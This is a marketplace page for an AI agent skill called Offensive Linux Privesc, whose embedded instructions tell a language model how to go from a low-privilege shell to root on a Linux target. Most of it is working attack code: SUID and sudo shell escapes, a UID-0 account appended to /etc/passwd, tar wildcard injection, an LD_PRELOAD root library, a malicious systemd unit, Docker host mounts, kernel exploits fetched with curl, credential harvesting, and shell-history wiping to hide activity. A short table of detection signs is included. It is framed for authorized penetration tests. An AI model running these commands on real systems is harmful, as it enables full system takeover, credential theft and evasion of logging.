Offensive Linux Privesc logo

Offensive Linux Privesc

CommunityPopular
SnailSploit
offensive-linux-privesc

Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195, PwnKit CVE-2021-4034), Docker group container escapes, LD_PRELOAD and LD_LIBRARY_PATH hijacking for shared library injection, systemd service misconfigurations, and sensitive file enumeration for credential harvesting. Integrates automated enumeration with LinPEAS, linux-exploit-suggester, pspy for process monitoring, and GTFOBins for binary exploitation. Each technique includes detection signatures and defender-side visibility to support purple team operations. Maps to MITRE ATT&CK T1548 (Abuse Elevation Control Mechanism) and related sub-techniques. Designed for authorized penetration testing, red team engagements, and CTF competitions where you hold a low-privilege shell and need to escalate to root.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-linux-privesc
Stars
6K
Forks
775
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Linux Privesc AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/privesc/offensive-linux-privesc .claude/skills/offensive-linux-privesc
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Linux Privesc in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Linux Privesc on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Linux Privesc is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Linux Privilege Escalation

You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.

Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.

Quick Workflow

  1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
  2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
  3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
  4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
  5. Check for NFS shares with no_root_squash and Docker group membership.
  6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
  7. Validate the escalation path, document the chain, and clean up artifacts.

Automated Enumeration

Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.

bash
# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out

# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out

# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"

# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out

Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.


SUID/SGID Binary Abuse

SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.

Enumeration

bash
# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

Exploitation via GTFOBins

bash
# If find is SUID
find . -exec /bin/sh -p \;

# If vim is SUID
vim -c ':!/bin/sh'

# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd

# If bash is SUID
bash -p

# If nmap (old interactive mode) is SUID
nmap --interactive
!sh

Custom SUID Binary Analysis

bash
# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open

# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1

If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.


Linux Capabilities Exploitation

Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.

bash
# Find binaries with capabilities set
getcap -r / 2>/dev/null

Exploitation

bash
# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim (read/write any file)
vim /etc/shadow

# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.


Sudo Misconfigurations

Sudo rules are the most common privilege escalation vector in real engagements. Check sudo -l immediately upon gaining a shell.

bash
# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null

NOPASSWD Exploitation

bash
# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'

# If sudo allows less NOPASSWD
sudo less /etc/shadow
!/bin/bash

# If sudo allows awk NOPASSWD
sudo awk 'BEGIN {system("/bin/bash")}'

# If sudo allows find NOPASSWD
sudo find /tmp -exec /bin/bash \;

# If sudo allows env NOPASSWD (LD_PRELOAD)
# See LD_PRELOAD section below

# If sudo allows a script you can write to
echo '/bin/bash' > /path/to/writable_script.sh
sudo /path/to/writable_script.sh

# If sudo allows running as another user
sudo -u targetuser /bin/bash

Baron Samedit -- CVE-2021-3156

bash
# Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes/segfaults, it is likely vulnerable

# Exploit (multiple public PoCs available)
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target_number>

# Check target OS for correct offset
cat /etc/os-release

This heap-based buffer overflow in sudoedit affects a wide range of Linux distributions. It provides direct root access without needing any sudo permissions.


Cron Job Abuse

Cron jobs run on schedules with the privileges of the cron owner. Writable scripts, PATH misconfigurations, and wildcard expansion create escalation paths.

Enumeration

bash
# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/ 2>/dev/null

# Use pspy to discover hidden cron jobs
./pspy64 -pf -i 1000

# Check for writable scripts called by cron
for f in $(grep -r '/' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -oP '/\S+'); do
    ls -la "$f" 2>/dev/null
done

Writable Cron Script

bash
# If a root cron job calls a writable script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable_cron_script.sh

# Wait for cron execution, then
/tmp/rootbash -p

PATH Hijacking in Cron

bash
# If crontab has PATH=/home/user/bin:/usr/local/sbin:...
# And a cron job calls "backup.sh" without full path
echo '#!/bin/bash' > /home/user/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/bin/backup.sh
chmod +x /home/user/bin/backup.sh

Wildcard Injection

bash
# If a root cron job runs: tar czf /backup/archive.tar.gz *
# In the target directory, create files that become tar flags
cd /target/directory
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo '#!/bin/bash' > privesc.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh
chmod +x privesc.sh

# Similar attack with rsync wildcard
echo '' > '-e sh privesc.sh'

# Similar attack with chown (e.g., chown user:user *)
echo '' > '--reference=/path/to/attacker_owned_file'

Writable /etc/passwd

If /etc/passwd is world-writable (a severe misconfiguration), you can add a root-equivalent user directly.

bash
# Check permissions
ls -la /etc/passwd

# Generate password hash
openssl passwd -1 -salt hacker password123
# Output: $1$hacker$6luIRwdGpBvXdP.GMwcZp/

# Append a new root user
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's password hash (more detectable)
# Switch to the new user
su hacker
# Password: password123

# Alternative: use mkpasswd if available
mkpasswd -m sha-512 password123

NFS no_root_squash Exploitation

When an NFS export is configured with no_root_squash, the remote root user retains root privileges on the share. This allows creating SUID binaries from an attacker-controlled machine.

bash
# On the target -- enumerate NFS shares
cat /etc/exports
showmount -e localhost

# Look for no_root_squash
grep -i "no_root_squash" /etc/exports

# On your attack machine (as root)
mkdir /tmp/nfs_mount
mount -t nfs target_ip:/shared_directory /tmp/nfs_mount

# Create a SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash

# On the target
/shared_directory/rootbash -p

Kernel Exploits

Kernel exploits are high-impact but carry stability risks. Use them when cleaner vectors are unavailable. Always check the kernel version and distribution first.

Fingerprinting

bash
uname -a
uname -r
cat /etc/os-release
cat /proc/version

DirtyPipe -- CVE-2022-0847

bash
# Affects Linux kernel 5.8 through 5.16.10, 5.15.25, 5.10.102
# Overwrites read-only files by splicing into page cache

# Compile the exploit
gcc -o dirtypipe exploit.c
./dirtypipe /etc/passwd 1 "${replacement_line}"

# Or use the SUID variant
gcc -o dirtypipez dirtypipez.c
./dirtypipez
# Spawns a root shell by overwriting a SUID binary temporarily

DirtyCow -- CVE-2016-5195

bash
# Affects Linux kernel 2.x through 4.x before 4.8.3
# Race condition in copy-on-write mechanism

# The /etc/passwd overwrite variant
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password123
# Overwrites root entry in /etc/passwd

# The SUID binary variant (firefart)
gcc -pthread cowroot.c -o cowroot
./cowroot

PwnKit -- CVE-2021-4034

bash
# Affects polkit pkexec (virtually all Linux distros with polkit installed)
# Memory corruption via crafted environment variables

# Compile and run
gcc -shared -fPIC -o pwnkit.so pwnkit.c
gcc -o pwnkit exploit.c
./pwnkit

# One-liner PoC (if available)
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

Kernel exploits may crash the system. On production targets, confirm the exact kernel version, test in a lab environment first, and have a rollback plan. Prefer the DirtyPipe SUID variant or PwnKit for stability.


Docker Group Escape

Membership in the docker group grants effective root access. Docker allows mounting the host filesystem into a container.

bash
# Confirm group membership
id
groups

# Mount the host root filesystem
docker run -v /:/hostfs -it ubuntu /bin/bash

# Inside the container, access host filesystem
cat /hostfs/etc/shadow
chroot /hostfs /bin/bash

# Create a SUID bash on the host
cp /hostfs/bin/bash /hostfs/tmp/rootbash
chmod +s /hostfs/tmp/rootbash

# Alternative: use docker socket directly
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

LXD/LXC group membership provides a similar attack surface. Build a privileged container and mount the host filesystem.


LD_PRELOAD and LD_LIBRARY_PATH Hijacking

When sudo preserves env_keep += LD_PRELOAD or env_keep += LD_LIBRARY_PATH, you can inject a shared library that executes arbitrary code as root.

LD_PRELOAD

c
// preload.c -- compile and load via sudo
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0, 0, 0);
    system("/bin/bash -p");
}
bash
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

# Execute with sudo (requires env_keep += LD_PRELOAD in sudoers)
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any_allowed_command

LD_LIBRARY_PATH

bash
# Find shared libraries used by a sudo-allowed binary
ldd /usr/sbin/apache2

# Create a malicious replacement
# Target a library like libcrypt.so.1
gcc -fPIC -shared -o /tmp/libcrypt.so.1 preload.c

# Execute with sudo
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2

You can also hijack shared libraries loaded by SUID binaries. Use strace to find missing library loads from writable directories, then place your malicious .so there.


Service Misconfigurations

Writable service files or binaries referenced by services running as root create escalation opportunities.

bash
# Find writable service files
find /etc/systemd/system/ /lib/systemd/system/ /etc/init.d/ -writable -type f 2>/dev/null

# Overwrite a writable service binary
cp /path/to/service_binary /path/to/service_binary.bak
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n/path/to/service_binary.bak "$@"' > /path/to/service_binary
chmod +x /path/to/service_binary

# Create a malicious systemd service (if you can write to the service directory)
cat << 'EOF' > /etc/systemd/system/escalate.service
[Unit]
Description=Escalation
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl start escalate.service

Sensitive File Enumeration

Credential harvesting from files can provide lateral movement or direct escalation paths.

bash
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# History files
cat ~/.bash_history
find / -name ".*history" -exec cat {} \; 2>/dev/null

# Configuration files with credentials
grep -rl "pass\|pwd\|token\|secret\|key" /etc/ /opt/ /var/www/ /home/ 2>/dev/null
cat /var/www/*/wp-config.php /var/www/*/.env 2>/dev/null

# Backup files and shadow
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
cat /etc/shadow 2>/dev/null
ls -la /etc/shadow

Detection / Defender View

Every technique above leaves traces. Understanding detection surfaces helps you operate more carefully and helps blue teams build monitoring.

TechniqueDetection Indicator
LinPEAS/enumerationProcess execution of curl piped to sh, large bursts of file access in /proc, /etc, /sys
SUID abuseExecution of SUID binaries from unusual parent processes, shell spawning from SUID context
Capabilities abuseUnexpected setuid(0) calls from non-SUID processes, audit logs for CAP_SETUID usage
Sudo exploitationAuth logs showing sudo usage for unusual commands, sudoers file modification timestamps
CVE-2021-3156sudoedit crash logs, coredumps, heap corruption signatures in audit logs
Cron hijackingModified cron scripts (integrity monitoring), new files with tar flag names
/etc/passwd writesFile integrity monitoring alerts, new UID 0 entries, inotify watches
NFS SUID creationNew SUID files appearing on NFS mounts, NFS audit logs on the server
Kernel exploitsKernel oops/panic messages, unexpected root process spawning, crash dumps
Docker escapeDocker API calls, container creation with host mounts, docker.sock access
LD_PRELOADEnvironment variable logging, unexpected shared library loads in audit logs

Key log locations:

bash
# Defenders should monitor
/var/log/auth.log        # sudo usage, su attempts, authentication events
/var/log/syslog          # system events, cron execution
/var/log/kern.log        # kernel exploits, crashes
/var/log/audit/audit.log # auditd events (execve, capability use, file access)
journalctl -u <service>  # per-service systemd logs

Engagement Cheatsheet

text
PHASE 1 -- ENUMERATE
  sudo -l                                    # First command. Always.
  id && groups                               # Docker/lxd group?
  find / -perm -4000 -type f 2>/dev/null     # SUID binaries
  getcap -r / 2>/dev/null                    # Capabilities
  cat /etc/crontab && ls -la /etc/cron.*     # Cron jobs
  ls -la /etc/passwd /etc/shadow             # File permissions
  cat /etc/exports 2>/dev/null               # NFS shares
  uname -a && cat /etc/os-release            # Kernel version

PHASE 2 -- QUICK WINS
  GTFOBins lookup for SUID/sudo binaries     # https://gtfobins.github.io
  sudo vim -c '!bash'                        # Sudo escape
  python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'  # cap_setuid
  bash -p                                    # SUID bash

PHASE 3 -- ESCALATION
  Writable cron script injection
  PATH hijack in cron or SUID binary
  LD_PRELOAD via sudo env_keep
  Docker mount host filesystem
  /etc/passwd append (if writable)

PHASE 4 -- KERNEL (last resort)
  linux-exploit-suggester.sh
  DirtyPipe  -> kernel 5.8-5.16
  PwnKit     -> polkit pkexec (most distros)
  DirtyCow   -> kernel 2.x-4.x
  Baron Samedit -> sudo 1.8.2-1.9.5p1

CLEANUP
  Remove SUID shells from /tmp
  Restore modified files from backups
  Clear command history: history -c && unset HISTFILE
  Remove uploaded tools from /dev/shm, /tmp

Key References

Frequently asked questions

What does the Offensive Linux Privesc AI skill do?

Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-51...

Why use Offensive Linux Privesc on TypingMind?

Because you install it once and use it with any model. Offensive Linux Privesc is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Linux Privesc in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/privesc/offensive-linux-privesc. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Linux Privesc?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Linux Privesc?

As many as you like. As long as a model supports skills, you can use Offensive Linux Privesc with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Linux Privesc AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇